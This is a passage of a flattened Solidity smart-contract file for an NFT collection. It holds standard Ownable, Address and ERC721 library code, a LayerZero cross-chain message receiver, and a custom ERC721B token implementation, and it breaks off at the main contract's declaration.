OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.7; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.7; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.7; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.7; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } pragma solidity ^0.8.7; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.7; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.7; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } pragma solidity ^0.8.7; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.7; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.7; abstract contract NonblockingReceiver is Ownable, ILayerZeroReceiver { ILayerZeroEndpoint internal endpoint; struct FailedMessages { uint payloadLength; bytes32 payloadHash; } mapping(uint16 => mapping(bytes => mapping(uint => FailedMessages))) public failedMessages; mapping(uint16 => bytes) public trustedRemoteLookup; event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload); function lzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) external override { require(msg.sender == address(endpoint)); // boilerplate! lzReceive must be called by the endpoint for security require(_srcAddress.length == trustedRemoteLookup[_srcChainId].length && keccak256(_srcAddress) == keccak256(trustedRemoteLookup[_srcChainId]), "NonblockingReceiver: invalid source sending contract"); // try-catch all errors/exceptions // having failed messages does not block messages passing try this.onLzReceive(_srcChainId, _srcAddress, _nonce, _payload) { // do nothing } catch { // error / exception failedMessages[_srcChainId][_srcAddress][_nonce] = FailedMessages(_payload.length, keccak256(_payload)); emit MessageFailed(_srcChainId, _srcAddress, _nonce, _payload); } } function onLzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) public { // only internal transaction require(msg.sender == address(this), "NonblockingReceiver: caller must be Bridge."); // handle incoming message _LzReceive( _srcChainId, _srcAddress, _nonce, _payload); } // abstract function function _LzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) virtual internal; function _lzSend(uint16 _dstChainId, bytes memory _payload, address payable _refundAddress, address _zroPaymentAddress, bytes memory _txParam) internal { endpoint.send{value: msg.value}(_dstChainId, trustedRemoteLookup[_dstChainId], _payload, _refundAddress, _zroPaymentAddress, _txParam); } function retryMessage(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes calldata _payload) external payable { // assert there is message to retry FailedMessages storage failedMsg = failedMessages[_srcChainId][_srcAddress][_nonce]; require(failedMsg.payloadHash != bytes32(0), "NonblockingReceiver: no stored message"); require(_payload.length == failedMsg.payloadLength && keccak256(_payload) == failedMsg.payloadHash, "LayerZero: invalid payload"); // clear the stored message failedMsg.payloadLength = 0; failedMsg.payloadHash = bytes32(0); // execute the message. revert if it fails again this.onLzReceive(_srcChainId, _srcAddress, _nonce, _payload); } function setTrustedRemote(uint16 _chainId, bytes calldata _trustedRemote) external onlyOwner { trustedRemoteLookup[_chainId] = _trustedRemote; } } pragma solidity ^0.8.7; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721B is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 private TotalToken = 0; uint256 private MaxTokenId = 0; uint256 internal immutable maxBatchSize; uint256 private startIndex = 0; uint256 private endIndex = 0; address private burnaddress = 0x000000000000000000000000000000000000dEaD; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `TotalToken_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 startIndex_, uint256 endIndex_ ) { require(maxBatchSize_ > 0, "ERC721B: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; currentIndex = startIndex_; startIndex = startIndex_; endIndex = endIndex_; MaxTokenId = endIndex_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return TotalToken; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index <= MaxTokenId, "ERC721B: global index out of bounds"); uint256 tokenIdsIdx = 0; for (uint256 i = 0; i <= MaxTokenId; i++) { TokenOwnership memory ownership = _ownerships[i]; if(_inrange(i)){ if ( (ownership.addr != burnaddress) && (i < currentIndex)) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } else { if ((ownership.addr != address(0)) && (ownership.addr != burnaddress)) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert("ERC721A: unable to get token by index"); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(TotalToken). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i <= MaxTokenId; i++) { TokenOwnership memory ownership = _ownerships[i]; if(_inrange(i) && (i < currentIndex)){ if ((ownership.addr != address(0))) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } else { if (ownership.addr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721B: balance query for the zero address"); require(owner != burnaddress, "ERC721B: balance query for the burnaddress"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); require( owner != burnaddress, "ERC721A: number minted query for the burnaddress" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721B: owner query for nonexistent token"); //If it is airdrop(transfered between chains), we have owner address set already. TokenOwnership memory ownership = _ownerships[tokenId]; if ( !_inrange(tokenId) ) { if ( (ownership.addr != address(0)) && (ownership.addr != burnaddress) ) return ownership; else revert("ERC721B: unable to determine the owner of token"); } uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } if (lowestTokenToCheck < startIndex) { lowestTokenToCheck = startIndex; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { ownership = _ownerships[curr]; if ((ownership.addr != address(0)) && (ownership.addr != burnaddress) ) { return ownership; } } revert("ERC721B: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721B.ownerOf(tokenId); require(to != owner, "ERC721B: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721B: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721B: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721B: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721B: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { //@dan token could be out of range from tranferring between blockchains if (_inrange(tokenId)) { return ((tokenId < currentIndex) && (_ownerships[tokenId].addr !=burnaddress)); } else { return ((_ownerships[tokenId].addr != address(0)) && (_ownerships[tokenId].addr !=burnaddress)); } } /** * @dev Returns whether `tokenId` in start and end ranges. * * Tokens can be out of range by airdrop. */ function _inrange(uint256 tokenId) internal view returns (bool) { //@dan token could be out of range from tranferring between blockchains return ((tokenId >= startIndex) && (tokenId <= endIndex)); } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721B: mint to the zero address"); require(to != burnaddress, "ERC721B: mint to the burn address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721B: token already minted"); require(quantity <= maxBatchSize, "ERC721B: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; TotalToken++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Safely airdrop `tokenId` and transfers it to `to`. This is for the receive side of Level Zero Chain transfer * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _airdrop(address to, uint256 tokenId) internal virtual { _airdrop(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _airdrop( address to, uint256 tokenId, bytes memory _data ) internal virtual { _airdropbyId(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _airdropbyId(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(to != burnaddress, "ERC721B: mint to the burn address"); _beforeTokenTransfers(address(0), to, tokenId, 1); TotalToken++; if(tokenId > MaxTokenId){ MaxTokenId = tokenId; } AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + 1, addressData.numberMinted + 1); _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); emit Transfer(address(0), to, tokenId); } /** * @dev ERC721A uses address(0), so we use 0x000000000000000000000000000000000000dEaD as burn address * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); address owner = ERC721B.ownerOf(tokenId); _beforeTokenTransfers(owner, burnaddress, tokenId, 1); // Clear approvals _approve(address(0), tokenId, owner); AddressData memory addressData = _addressData[owner]; _addressData[owner] = AddressData( addressData.balance - 1, addressData.numberMinted - 1); TotalToken--; _ownerships[tokenId] = TokenOwnership(burnaddress, uint64(block.timestamp)); //@dan only do this if minted in range. // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_inrange(nextTokenId) && (_ownerships[nextTokenId].addr == address(0))) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721B: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721B: transfer from incorrect owner" ); require(to != address(0), "ERC721B: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); //@dan only do this if minted in range. // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_inrange(nextTokenId) && (_ownerships[nextTokenId].addr == address(0))) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721B: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } pragma solidity ^0.8.7; interface IGOKU { function burn(address _from, uint256 _amount) external; } contract GokudoParadiseContract is Ownable, ERC721B, 